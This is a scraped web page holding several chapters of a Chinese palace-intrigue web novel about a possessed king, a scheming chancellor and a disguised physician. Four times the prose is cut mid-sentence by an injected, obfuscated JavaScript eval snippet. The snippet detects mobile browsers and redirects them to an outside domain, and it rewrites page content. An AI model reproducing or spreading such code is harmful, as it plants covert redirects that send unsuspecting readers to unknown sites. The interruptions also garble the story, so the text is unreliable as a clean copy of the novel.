这么说来,德水去王后那里,是有正经事要办? 可这么一来,他还怎么在王上面前上眼药? 三喜的确是德水的徒弟,可却是他自己死缠烂打了好久才求来的这么一个师父。 德水还没到要告老还乡的地步,本没想着现在就教导徒弟接班,可三喜求了上来,他索性也就应了。 毕竟是日后要跟在王上身边的人,德水就这么一个徒弟,对三喜的教导向来严格,没想到,却让三喜记了仇。 如今好不容易有机会,王上绕过师父来接触自己,三喜喜不自胜,又迫不及待地想把德水扳倒。 每天板着一张脸教训他,他以为自己是谁? “说话。” 南疆王的声音在头顶响起,三喜连忙回过神来,眼珠子晃动得更快了。 是说,还是不说? 不说的话,万一日后被王上发现…… 举棋不定了好半晌,三喜还是不情不愿地将那个箱子的事情说了出来。 “或许,或许师父真的是去办正经事的吧。”他又不冷不热地添了一句话找补着。 南疆王却冷声发笑,“不会。” 闻言,三喜的眼睛猛地亮了一下! “玉兰殿还没收拾整齐,那座净瓶价值昂贵,现在就放进去,万一发生什么意外就不妥了,德水办事向来考虑周到,这不是他的作风。” 南疆王双手环抱在身前,语气淡淡的,却透着一股不快。 “这是王后的意思,她心虚了。” 三喜垂着头没说话。 王后娘娘心虚与否,他自认不敢讨论,德水公公的举动倒是他更在意的事情。 “王上,”三喜试探着,“要不要把师父叫来问话?万一是误会呢?” 话虽如此,可他语气里却全是跃跃欲试。 南疆王抬眼淡淡地朝三喜望来。 “若是德水也像你一样藏不住心思,朕就不用这么费力了。” 三喜面色一僵,又讪讪地扯动了两下嘴角,不知道该说什么好。 “朕有心用你,你也得体现出自己的价值,是不是?”南疆王收回目光,又变得漫不经心起来。 三喜又是一迭声地保证着,会对王上永远忠心云云。 “行了。” 听得差不多,南疆王才一摆手。 “德水的事情朕自有主张,你不要再跟了,免得被发现,柳大夫这个时候应该一个人在屋中,你去将她请来,就说朕还是有些不适。” 闻言,三喜的一颗心落了地,用力控制着自己轻轻地舒了一口气。 王上还愿意把这件事交给他办,那就说明王上并未对自己失去信心啊! “奴才这就去请!” 三喜小跑着一溜烟离开大殿,约莫一炷香之后,却一脸惊惶地跑了回来。 “王,王上!”他不住地哆嗦着,“那院子里没,没没没人!” 不仅没人,连院门都锁着! “什么?” 南疆王闻言猛地坐直了身子! “叶——她人呢?”情急之下一个名字要脱口而出,又被南疆王紧急咽了回去。 好在三喜正六神无主着,压根没发现这点异样。 “之前在那院子里伺候的宫女说,离开的队伍里没有柳大夫的踪迹……宫门前的卫士也没发现……” 这么说着,三喜的双腿哆嗦得更厉害了。 担心柳大夫会离开,三喜在南疆王的默许下往各处都打了招呼,不许放这位出宫。 可就是这样,还是没防住? 腿软得一点力气都没有,三喜猛地摔在了地上。 另一边,南疆王眉头紧皱,难以置信地望着三喜这幅狼狈的模样。 他如此针对慕家,又主动亮出了自己的居心,叶晚竹居然没有一点儿想顺着试探的意思? 不对劲。 这太不对劲了。 “林大夫他们一行离开王宫之后有没有去御赐的府邸?”他猛地抬起头,“立刻去查,如果没有,那他们又是去了哪里!” —— 早些时候。 城墙下方,慕丞相抬头望着高大的石墙和宽敞的台阶,长长地叹了口气。 慕家从文者众,习武之人少些,慕丞相自小又有读书作文的才能,更是没想过要走别的路。 这王都的城墙,他年轻的时候还能仗着身体强健爬上一爬,可现在上了年纪,又疏于锻炼,一排台阶落在慕丞相眼中,层层都是酷刑一般! “大人,宫中的人还在后面看着呢!” 守城的将军大步上前,小声提醒着。 看慕丞相一脸愁苦,守城将军的眉头也皱得紧紧的。 刚接到命令的时候,他还以为是自己眼花了呢! 王上也真是的,把这么一个老大人放到城墙上来干什么? 他现在不光要负责盘查在城里作乱的那伙凶徒,大概还得防着慕丞相从城墙上掉下去! 宋将军想想就头疼。 可是,王命不可违啊! 慕丞相听着他的话,又长长地叹了一口气,提起朝服精美繁复的衣摆,一步一步往上走去。 宋将军连忙给两侧的小兵使了个眼色,后者正要上前,却听见宫中来人那边有人清了清嗓子。 小兵顿时不敢动了。 宋将军无奈地朝他们摇了摇头,状若不经意地往那排太监身上一瞥。 王上心大如斗,肯定想不起来这么细致的环节。 定是这帮下人做的,惯会逢高踩低! 沉了沉心里的不忿,宋将军转过头,准备自己去扶慕丞相。 他倒要看看这帮小人敢不敢对他甩脸色! 慕丞相半天才走出去七八阶,城楼的石阶修得高陡,他已经开始气喘吁吁。 宋将军两三步便眼看着要赶了上去,谁知就在这时,慕丞相脚下一滑! “诶呦!” 第四百四十一章 这跟你有什么干系? 赶在宋将军冲上去的那一霎,慕丞相身子一歪,就摔倒在地! “慕相!” 宋将军的心都快从嗓子眼里跳出来了。 他刚刚想什么来着! 怕啥来啥! 一个箭步上前将慕丞相扶起来,宋将军一迭声地急问,“相爷,您没事吧?” “诶呦……” 慕丞相双眼微闭,呼吸急促,脸色白得像纸,宋将军一连喊了他四五声才奋力地把眼睛睁开了。 “没,没事……” 勉强摆了摆手,慕丞相作势要站起身,刚一动作却又倒吸了一口冷气。 “大人啊,您怎么了?”宋将军听着他的动静,心里也跟着发慌。 “好像是脚腕扭了……” 慕丞相压低了声音说话,听上去十分痛苦,一只手也轻轻地朝着自己的右脚脚踝探去。 宋将军低头一看,隔着鞋袜,也能看到他老人家脚腕处肿起的高度。 “老了,老了!”慕丞相轻声发笑,带着自嘲,“不中用啊……” 他一边说着话,一边还要继续起身,因为方才那一摔而有些凌乱的发丝飘到眼前来,配上慕丞相老迈摇晃的动作,更是显得无比狼狈和心酸。 一把年纪爬城墙,这不是存心折腾人吗! 宋将军深吸一口气,看不下去了,“慕相您别动了,歇着吧!” “你们两个过来!”他又抬头点起另外两个小兵,“去取担架,把慕相抬到营房里,休息一下,再找个大夫过来。” 以慕相的年纪,并不是能摔一跤就置之不理的。 被宋将军点到的那两个兵士你看看我,我看看你,脚下却没有动作,只睁大了两双眼睛,不住地朝着宋将军看。 “干什么?你们俩也老了,耳背?”宋将军没好气地叉着腰。 他看见了!自己刚才说话的时候,那帮太监又在冲着下面挤眉弄眼的,不想让人上来帮忙呢! 什么东西! “赶紧的!还是你俩的腿断了?” 佯装什么都没看见,宋将军继续吆喝着。 王上不下圣旨,他就权当自己什么都不知道! 反正他干不出这种折腾老头的事情! 两个小兵见自家将军如此,也只能无视了身边那几道警告的眼神,闷头要朝器械库那边去。 放着扭了脚的老大人不管,他们的良心也做不到啊! “站住。” 眼见这帮兵士从上到下都没眼色,一行太监们无奈,只能出声了。 “还不快去!”宋将军气沉丹田,瞬间就把那太监的声音压住。 跟谁说站住呢? 一群奴才,摆的谱倒是不小! 两个小兵哥的脾气也上来了,梗着脖子继续往城墙下跑。 怎么一点儿礼貌都不懂! “宋将军!” 眼看这两个小兵真要旁若无人地离开,太监福顺终于忍不住了。 他扬起尖细的声音,“眼下城中有凶徒正在逃窜,情况如此紧急,宋将军您还是把守城门比较要紧!” “你是何人? 宋将军背着双手站在慕丞相身边,掀起眼皮看了看这个说话的太监。 不是德水公公。 也不认识。 宋将军是城防营的统帅,时常在宫中行走,南疆王身边的那几个得力太监都眼熟的很,他确定自己从来没见过这位。 再看看他身边站着的那些,也是一水儿的生面孔。 这是什么意思? 皱了皱眉,宋将军忽然感到有什么地方好像不太对劲。 还没等他再想,德顺又开口了。 “奴才奉圣旨而来,还请宋将军配合一下。”他嘴角带着笑,语气却很轻慢。 宋将军一顿之下,忍不住嗤笑了一声。 “圣旨,”他点点头,“圣旨上写着,慕丞相摔倒了也不能扶,本将得看着相爷自己单脚跳到下面去休息?那你刚才怎么没说?旨意也能传错,你怎么当的差?” “将军你——” 德顺猛地瞪大了眼睛,语气也跟着拔高,“您这是什么意思?” “本将还要问你呢,你又是什么意思?”宋将军重重地一哼,一双冷厉的眸子直勾勾地盯着德顺。 他上过战场,手里有不少鲜血,这一眼看得德顺控制不住地打了个哆嗦。 “圣旨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320255|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”德顺嗓子也跟着发紧,“圣旨请慕相上城墙镇守城门,还请宋将军配合!” 又是配合? 双眼一眯,宋将军这才算是听出了这太监的意思。 受了伤也得上城墙! “你知道你在放什么狗屁吗?” 心情越发不佳,宋将军说话也放下了讲究,“相爷这么大的岁数,又受了伤,万一有个什么好歹,难道是你来负责?” “这,这和奴才有什么干系?”德顺的脸渐渐涨红了。 宋将军若有所思地笑,“哦,那本将要让人扶慕相,又跟你这个奴才有什么干系?圣旨传到已经半晌了,你不回宫复命,想在这里躲清闲?好刁钻的奴才!” 闻言德顺更是气得发抖! “宋将军,”他咬着后槽牙,“您这是打定主意要和圣旨过不去——啊!” 没等他把话全都说完,宋将军大步上前,飞起一脚将德顺从台阶上踹了下去! 太监们站着的地方不算高,德顺咕噜噜地滚到地上,虽然没受什么重伤,但看样子也吓得不轻。 余下的太监们也白了脸色,没想到宋将军一言不合就要动手,又连忙一拥而上,七手八脚地去把德顺扶起来。 “宋将军,你,你怎么能这样?” 德顺站起身来,龇牙咧嘴地朝着上方大喊,“奴才定会回去禀报圣上——诶诶诶?你们要干什么?” 几个兵士这时候从四周围了上来,一言不发地就把德顺,还有他身边的太监们全都反剪双手制住了! 惊慌的喊声响起,宋将军走到德顺面前,扬起巴掌又是一记耳光! “把你的狗嘴给本将闭紧了!” 宋将军的眼神语气俱是厌恶,“你带人阻挠本将守城,动摇军心,本将现在就带你进宫,咱们在王上面前好好算算这笔账!” “走!” 宋将军又一吆喝,小兵们簇拥着挣扎不止的太监离开。 “别忘了送慕相去休息!”他也没忘了这茬。 那两个小兵很快取来担架,抬着慕相回到营房,找了间安静的屋子将他安顿下来,又忙着要去叫大夫。 谁知刚一转头,便对上了一个身影。 第四百四十二章 我要扶的,不是南家 “我是大夫,刚才有人请我到这里来看伤。” 不紧不慢的声音响起,来人身上沾着药香,背上还背着一个放满草药的布袋。 看上去的确是大夫。 两个小兵连忙将人迎进屋中,对方掀开慕丞相的鞋袜看了看,便道,“有劳二位去烧些热水,再准备干净的布巾,在下先放血看看。” 小兵闻言也一迭声地应下,又连忙小跑着离开。 直到房门被关上,外面的声音也听不到了,慕丞相才沉沉发声,“你怎么来了?” 一边说着话,他一边将自己完好无损的脚踝从谢无咎手里抽了出去。 谢无咎半蹲在地上,一身大夫装扮,语气里带着笑,“没想到我和相爷想到了一处去,也好,免得我下手没轻没重,当真伤了相爷。” 慕丞相的嘴角忍不住抽了抽。 合着他今天必须得摔这一跤! 谢无咎还在慢悠悠地说着话,“既然慕相也是这个心思,那咱们就可以节省时间了——您接下来打算怎么办?” 闻言,慕丞相却又沉默了下去,足足等了十几息的功夫才重新开口。 “王上日后只能这样了,是不是?” 虽然是问句,但慕丞相的语气里已经带上了绝望的笃定。 “您心里的那个王上已经不会再出现了。”谢无咎停顿一瞬,话说得没有半分转圜的余地。 现在的南疆王就是天问秃驴,如果有朝一日,天问那秃驴解除了对南疆王的控制,那出现在他们面前的便只能是一具尸体。 慕丞相闭了闭眼,再睁开时,神情一片清明。 “方才在城墙上的事情你也看到了吧,守将宋鹏不能算是慕家的人,但受过慕家的帮助,为人也正直。” “他去往宫中,见识了王上现在的模样之后,想必会有所怀疑,但不一定就会动摇。” “如果不成,还请谢大人帮一把手。” 慕相眼中闪着微光,神情却多少还是有些灰暗。 若不是南疆王这般过河拆桥,他也不想利用宋鹏这样的无辜之人。 “我的人会在半路截杀那些小太监。” 谢无咎这时候却忽然出了声,听着这话,慕相猛地抬起了脑袋,“!” “他们会做成是那些凶徒所为,”谢无咎的眼睛无比平静,“而这个消息传到宫中,南疆王会将这件事情算在您的头上。” “你怎么敢肯定?”慕丞相背上一凉,他知道王上做得出来。 谢无咎却一笑,“目击证人里也有我的手下。” 慕丞相:“……” “置之死地而后生。” 谢无咎又压低了几分声音,认真地望着慕丞相。 “慕家在王都做了什么,大家有目共睹,南疆王凭着一己喜好就要赶尽杀绝,这样的做法只会寒了所有人的心,也让王都的高门大户人人自危。” “当下一个随时有可能是自己的时候,每个人都会有所行动,那个时候才是相爷您的机会。” 慕丞相的眉头越发皱紧。 “王上膝下无子,王庭中的成员也没有可塑之才,这一步好走,可之后该怎么办?” 这才是他犹豫不决的症结所在。 南疆王不在王宫的那段时间,皇侄理政更是乱七八糟。 “我说的不是南家。” 谢无咎又笑了笑,“南家没人能挑大梁,换成谁都一样,不能解决实际问题。” 慕丞相闻言一怔,还没开口,就听到谢无咎道,“我要支持的是慕家。” “你!” 慕丞相猛地站起身来,难以置信地望着眼前的年轻男子。 “相爷这么激动干什么?”谢无咎的表情依旧平和,“您不会是要说自己没有这样的想法吧?那您的那些准备,都是干什么的?去游山玩水的时候防山贼吗?” “……你怎么知道?” 忽略了他的调侃,慕丞相的表情有些难看。 他做了两手准备,一直藏得死死的,谁也不知道! “天问秃驴。” 谢无咎哼笑一声,吐出一个名字。 接触慕家人之后,他便让谢三去查查慕家的情况,却十分顺畅地查到了慕相屯兵,私炼精铁的一系列证据。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320256|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说天问那秃驴没有在其中插手,谢无咎是万万不信的。 “他在逼您主动起事,这样一来,才有正当的理由对慕家动手。” 现在朝中众人看见了南疆王主动针对慕家无妨,等慕丞相真的受不住领兵起事,一切罪责都会自动落回到慕家身上。 “您若是不动手,那他就继续铲除慕家在王都的势力,这笔买卖,稳赚不亏。” 谢无咎笑意凉薄,慕丞相更是感觉手脚冰凉,连一点儿力气都用不上了。 “这个秃驴!竟然如此狼子野心!” 慕丞相替女儿调查了不少有关天问的事情,明显是被这秃驴记恨上了。 “慕家是他最大的障碍,等扫除了慕家,王都还有谁想反抗他,事先都得掂量掂量。”谢无咎抬手在慕丞相肩膀上拍了拍,“慕相,您不仅是为了慕家,为的也是王都,再说得大些,为的是南疆的百姓。” 天问秃驴穿着南疆王的外皮,身为一国之君,想做什么都自由。 而他私下那些妖魔鬼怪的勾当,若是被用在南疆百姓们的身上,又该如何是好? 慕丞相打了个冷颤,却攥住了谢无咎的手。 “你跟我说这些,又拱慕家上位,你想要什么?”他眼神警惕。 慕丞相并没有忘记,眼前的这位是大梁的九千岁! 南疆乱起来,他岂不是也能分一杯羹? “慕相果然思虑周全。” 谢无咎笑着,眼底依旧没有多少温度。 “我的确有所求,也会尽全力助慕相一臂之力,若是慕相这一次能成功,在下有两个要求。” “一,尽力追杀天问秃驴的所有势力,不能轻易放过;二,他日天问秃驴重回大梁作乱,还请慕相同样对我们施以援手。” 这就是要两国结盟的意思了。 慕丞相的眼神依旧乌沉沉的,“这样的事情,你能做主?” 若是他没记错的话,大梁眼下已经快要乱成一锅粥了吧。 谢无咎扯了扯嘴角,附在慕丞相耳边低语几句。 慕丞相顿时又瞪大了双眼,“此话当真?” 第四百四十三章 有凶徒,有刺客! 一炷香之后,准备好了大夫需要的东西,两个小兵不敢耽搁,用最快的速度抬着水桶回到了房间外。 看到房门大敞,两人同时顿住了脚步。 “慕相……”一个小兵小心翼翼地伸长了脖子往屋中探去。 就在这问话的功夫,一阵血腥味飘进了他的鼻端! 小兵表情一变,撂下手里的东西就冲进屋中,随即猛地倒吸了一口冷气,“不,不好了!” 屋中到处都是鲜血,慕相躺在那张单薄的板床上,腹部中刀,鲜血流个不停,地上一行血脚印通向后窗,先前那个大夫已经无影无踪了! “有刺客!有刺客啊!” 慕丞相被刺客突袭重伤的消息传到宫中的时候,南疆王正在御书房听宋将军身边的一个小兵说话。 “那人从人群里挤过来动手的,小的清清楚楚地听到他跟同伙说,主子要把这些人全都杀了!小的不敢有半句假话!” 此时的御书房里也是血气冲天,以宋将军为首的一行兵士,人人都是满身满头的血污,有自己的,也有别人的。 殿外的空地上还摆着不少尸体,是那些传旨又被绑的太监,各个形容凄惨,尸首不全。 方才,一行人在前往王宫的路上被突然冒出来的凶徒袭击,对方无差别地对所有人下手。 宋将军和手下的兵士既有功夫,也没有被五花大绑,勉强还能和这些凶徒对战,而那些毫无准备的太监便全都遭了殃。 南疆王听着这个兵士的话,再看看殿外的一片尸体,猛地一巴掌拍上桌子,还没说出什么,慕丞相的坏消息就又被送了进来! “你说什么?城门也出现凶徒了?什么时候!” 宋将军在乱战中被砍了一刀深的,正在止血包扎,听见这话猛地从屏风后面冲了出来,差点儿把御医带了个跟头。 来报信的也是宋将军手下的士兵,被宫中的华丽震得哆哆嗦嗦,唯有看见宋将军才算是找到了主心骨。 “就在你们走后不久,不到半个时辰!” 宋将军掐指一算,“那不就是袭击过我们之后吗——城门呢?城门有没有情况!” 看路线,这伙人是奔着出城去的! 宋将军的心猛地提了起来,难道他是中了调虎离山计? 这个士兵却摇了摇头。 “城门处一切正常,没有凶徒出没,也没人闯关!” 没有? 宋将军松了口气,又大为不解。 既然如此,那这帮凶徒为什么要闹出这么大的乱子? 因为他们在光天化日之下遇袭,除了城防营,王都其他负责巡逻护卫的队伍也齐齐出动,又加强了警戒,街上眼下已经**了,对凶徒逃跑更为不利。 难道是他们没跑出去? 这个想法让宋将军精神一振,转头便想向王上禀报。 没承想,高台上的南疆王一张脸拉得老长,表情也格外难看。 宋将军哽了哽,硬是把话全都咽了回去。 “你说有凶徒袭击了慕丞相?” 南疆王的眉头紧紧地皱着,“现在情况如何?” “那人翻窗逃跑了,路副将已经带着人去沿途追捕,慕丞相……生死不知,正在止血。” 感受到南疆王不悦至极的情绪,这个士兵连眼皮都不敢多动一下,结结巴巴地回答着。 闻言,南疆王又抿紧了嘴唇。 宋将军这时候冒险朝上方飞快地看了一眼。 王上能把慕丞相发配到城墙上,足以说明他对慕相的不满,再想想那些脸生的太监,宋将军的心里就越是生出许多不好的念头。 方才还那般气愤,怎么等听到慕丞相出事,王上却变得这么平静? 难道…… 不敢多想,宋将军忽然上前一步,朗声拱手。 “王上!这伙凶徒定是在城中被逼得走投无路,所以才动手搅乱局势,只是出了什么乱子,又或者城门的防备实在森严,才没让他们冲关成功!” “这个时候他们肯定在寻找别的出路,最是惊慌,末将愿领兵搜查,一定要把这等穷凶极恶之徒统统抓获归案!” 他单膝跪地,殿中的士兵们见状也纷纷跟着跪了下来。 宋将军洪亮的声音响彻殿中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320257|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,上座的南疆王却半晌都没有传来回应。 垂着脑袋跪在地上,宋将军的心不住地向下沉没着。 “哦?宋将军,你真有这种打算?” 不知道多久过去,宋将军膝盖都跪得没了知觉,终于听见南疆王开口了。 可这问话却不甚友好,宋将军顿了顿,也只能硬着头皮点头,“正是!” “哼!” 下一瞬,南疆王骤然冷哼,一把将桌上的东西全都拂落在地! “你这么热心想抓捕凶徒,为何要因为一点小事,就兴师动众地跑到宫中来啊?擅离职守,你可只是什么罪名?” 宋将军的呼吸猛地一窒,难以置信地抬起头朝南疆王看去。 王上是要先追究他的责任? 在凶徒当道,时刻有可能逃离王都的时候? “放肆!”南疆王这时候发现了宋将军的眼神,又猛地拍了一下空空如也的桌子。 宋将军连忙把脑袋埋了下去。 “若不是你小题大做,怎么会给凶徒可乘之机?” 南疆王还在说着,语气越发不善,“这伙凶徒若是做出什么危害王都的事情,朕绝不会轻饶了你!” 宋将军弯着腰跪在地上,心里一片冰凉,一股不祥的感觉也渐渐地冒了上来。 一边要严惩,一边又迟迟不下令处理那些凶徒。 王上这是要拿他开刀! 为什么? 因为他帮了慕相,阻止了这些太监? 宋将军感到自己的身子也一点点地泛起了寒意。 王上怎么了? 为何如此公私不分? 南疆王愤愤说完那句便不再开口,御书房中也跟着陷入了一片死寂。 时间就这么硬生生地往前走,直到又一阵脚步声从殿外传来,才打破了这令人窒息的沉默。 来人也是个城防营的兵士,跑得气喘吁吁,又被门槛绊倒,一头栽倒进屋中。 “王上,不好了……慕相,慕相他伤重不治,大夫无力回天,刚刚走了……” “王上!有人攻破了西城门——!” 第四百四十四章 柳大夫回来了! 前一个士兵的话还没说完,又有一个小兵从外面狂奔而至,连行礼都顾不上了,扯着嗓子大喊起来! “怎么回事!”宋将军也跟着猛地转过头! “我们方才正在巡逻,忽然被凶徒袭击!那伙人功夫高强,手上还有迷烟,我等不慎中招,等追出去的时候,他们已经,已经跑了……” 小兵瑟瑟发抖着,声音嘶哑,肩膀上还落着大片白色的粉末,证实了他所言非虚。 宋将军原本就跪着,这会儿更是感到浑身发软,一点儿力气都没有。 他负责把守的是南城门,从那里到西城门的距离最近! “王上!”宋将军坚持着转过身,“定是那伙凶徒在南城门没讨到好,所以转道去了西城门——” 一句话没说完,宋将军便又在南疆王无比黑沉的脸色中住了口。 南疆王这个时候的模样,看起来好像随时都能暴起**似的! 饶是宋将军对这位已经生出了数不尽的不满,眼下也还是咽了咽口水,不敢再说。 南疆王——准确地说,天问大师,这会儿正用力地攥着拳头,免得自己的表现太过异样。 他当然已经知道,那伙凶徒就是安王的部下。 安王敢公开出手,定是相信了天问大师身故的这个消息,这才急不可耐地要吞下王都的控制权。 此举愚蠢,但却正中天问大师的下怀。 这个王都,越乱越好。 可他怎么也没想到,安王的部下竟然真的能冲破王都的城门,就这么逃走了? 眉头紧皱,天问大师感到自己心下越发不安了起来。 这是怎么回事? “王上……” 直到耳边传来低语,天问大师的思绪才被打断。 他恍然回神,意识到这是德水的声音。 “怎么了?”定了定神,再开口的时候,南疆王的声音与方才并没有半点不同。 御书房里这会儿安静得可怕,下方的地上跪满了人,就连那两个传信的士兵也挡不住王上的威压,哆哆嗦嗦地垂着脑袋等候。 德水站在南疆王身边,是唯一一个还能行动的人。 他抬手悄悄地往门外某个方向指了指,又压低声音,“柳大夫回来了。” 南疆王的身子微微挺直,凝神朝那边看去。 得知叶晚竹离开,他便立刻派人去拦。 眼下,三喜正站在殿外,身边跟着一群小太监,而被他们簇拥在中间的人影十分眼熟,正是叶晚竹。 南疆王张口欲言,却又猛地闭上了嘴。 看这模样,叶晚竹是主动回来的。 这怎么可能? 不对劲,太不对劲了…… 皱了皱眉,南疆王的目光又落在殿中跪倒一片的这些人身上。 安王逃跑,王都遇袭,慕相还重伤身亡…… “王上?” 德水本是等着南疆王的指示,却见这位一动不动,呼吸急促,忍不住又靠近了一点,微微抬高声音,“王上,您还好吧?” 下一刻,南疆王猛地倒吸一口冷气,双眼一翻,“咚”地向后仰倒在椅背上! “王上!王上!” 正在殿外等候的叶晚竹也听到了里面惊慌失措的声音。 她悄悄离开王宫,本就是为了试探,果然,还没走出去多远,三喜便带着一群小太监将她拦下,又“请”她回宫。 “王上这是什么意思?我们师兄妹一直是一起行医的,留她一个人在宫中,我不放心!” 岑灵川的话说得直白,三喜的笑容却暧昧。 “林大夫,日后您大可以放心了,柳大夫住在宫中,不必再过那等风餐露宿的日子,岂不是美哉?您也可以休息休息了。” 话说到这儿,南疆王的心思已经不能再明显。 这位素来爱充实后宫,“柳大夫”是个没权没势的游医,反抗不了皇家,叶晚竹也没打算真的反抗,就势回到了王宫之中。 她不回来,和王后的联系就要变得困难了。 谁知道还没见面,南疆王这边就又闹出了乱子。 三喜咕噜噜地转着一双眼睛,又频频朝叶晚竹身上看,见她在屋中惊慌的喊叫声里还能不动如山,忍不住上前两步。 “柳大夫,王上好像出了什么事,您还不快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327364|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去瞧瞧?” 叶晚竹飞快地看了这过分滑头的太监一眼。 此人刚刚被南疆王重用,一身的浮躁气质,一看就难堪大用。 “王上尚未传召,草民不敢贸然入殿。” 三喜闻言有些着急,“您入殿怎么能是贸然呢?王上对您多有信任,肯定不会怪罪于您的!” 说着话,三喜的眼珠子又开始转个不停。 他找回了柳大夫,现在如果再救下王上,那,那前途岂不是光明璀璨,无可限量? “柳大夫,您快随小的进去吧!” 越想越迫不及待,三喜一把攥住叶晚竹的手腕,就要拉着她往殿中去。 叶晚竹脚下一晃,扑通一声摔倒在地,顺便用力把三喜也扯得一个跟头趴在了地上! “诶呦——” 外面的声音响起,也吸引了殿中人的注意。 德水忙着把昏迷不醒的南疆王抬到一旁的软塌上休息,幸好有宋将军等人帮忙,才不至于太过手忙脚乱。 他方才便看见了三喜和柳大夫站在院中,本以为二人会立刻进殿救人,谁知迟迟不到,反倒是跟着添乱! “三喜!你在做什么,还不快将柳大夫请进来?” 终于腾出手来,德水快步走到殿外,看见三喜和叶晚竹双双跌倒在地,他眼瞳一缩,语气变得更加严厉,“你好大的胆子!贵客也能怠慢!” “师父,我——” “罢了,德水公公。” 三喜刚想说话,叶晚竹先他一步站起身来,拍拍衣服,,快步走向殿中。 “方才听见里面的动静不妙,三喜公公也是着急,才失了分寸,您莫要怪罪他,正事要紧。” 她一边说着,一边快步进殿,只朝德水点了点头,一副忙着要替南疆王检查的模样。 德水连忙躬身请叶晚竹进去,转身时回头一瞥,给三喜留下一个警告意味十足的冷酷眼神。 等着吧! 三喜还没从地上爬起来,脚踝疼得要命,见状忍不住咬牙切齿。 他什么都没干啊! 另一边,叶晚竹已经快步走到了软塌边。 第四百四十五章 你要离开?朕不允许! “柳大夫,您快看看,王上他昏过去了!” 急急赶到叶晚竹身边,德水的语气也十分急促。 叶晚竹点了点头,抬手按上南疆王的手腕,佯装凝神诊脉,心思却止不住地浮动着。 南疆王这昏倒来得突然,跟以往的任何事情都没有干系。 若是她这个时候帮一把手,让他醒不过来,那…… 正心动,指尖下脉搏忽然一颤,叶晚竹又回过神来。 南疆王的脉象和上一次她感受到的基本一致,有蛊毒,那个特殊的印记也没消失。 不知道这二者哪一个才是维持他活动的来源。 可刚才那一颤十分强劲,似乎是从南疆王心口的印记处投射出来的。 难道是这个? 思忖片刻,叶晚竹抬手按上了南疆王的心口—— “咳咳咳!” 还不等她再做些什么,南疆王忽然猛地一阵呛咳,而后缓缓睁开了双眼。 “王上!您没事吧?”见他动作,德水连忙从一旁探过了脑袋。 南疆王似乎还没完全清醒过来,眼神透着迷蒙,德水又唤了两声才渐渐回神,眨着眼睛朝周围的人一一看去。 “柳大夫……”他低声道。 叶晚竹这会儿已经收回手站到了一旁,既然这位要醒来,那她就不能再动手了。 “是你又救了朕一命吧。” 南疆王气力不支,这么一句话的功夫就又微微闭上了双眼,呼吸也显得有些困难。 他没在意叶晚竹的沉默,努力撑着道,“朕,朕要好好感谢柳大夫!” “王上,您先休息一下吧。” 听他说话呼哧带喘,声音嘶哑,德水忍不住上前两步,替南疆王抚着心口。 “朕无妨……” 南疆王依旧在大口大口地喘着粗气,一只手却奋力抬起,牢牢地攥住了叶晚竹的手腕。 “柳大夫,你救了朕两次,这笔恩情朕定会报答!还请柳大夫莫要推辞,这段时间就在宫中安心住下,你的居所,朕已经让人布置好了……咳咳咳……” 话还没说完,他便又是一阵猛烈的咳嗽。 “朕,朕的身体也还需要调养……”南疆王又颇为费力地补了一句。 于情于理,这都是要叶晚竹留在宫中的意思了。 “王上身体有恙,民女自当尽全力。” 叶晚竹叹了口气,“可民女医术有限,先前解毒那是误打误撞,调理圣体一事,想来还是宫中的御医大人们更为妥帖。” 南疆王立刻道,“朕让御医全力配合柳大夫!柳大夫不必多想,有你在,朕才安心啊。” “这……” 南疆王把话说得如此直接,叶晚竹却还是犹豫着。 “民女和师兄揭皇榜,替王上解毒,此事已经了结,民女等并没打算在王都久留……” “柳大夫。” 这话一说,南疆王面上那一点笑容便在瞬间消失得无影无踪了。 “你要离开王都?” “回王上,正是,与师兄师姐一起。”叶晚竹恭恭敬敬地低着脑袋。 “朕不允许!” 南疆王几乎是立刻就接上了话头,胸口的起伏也变得更加剧烈。 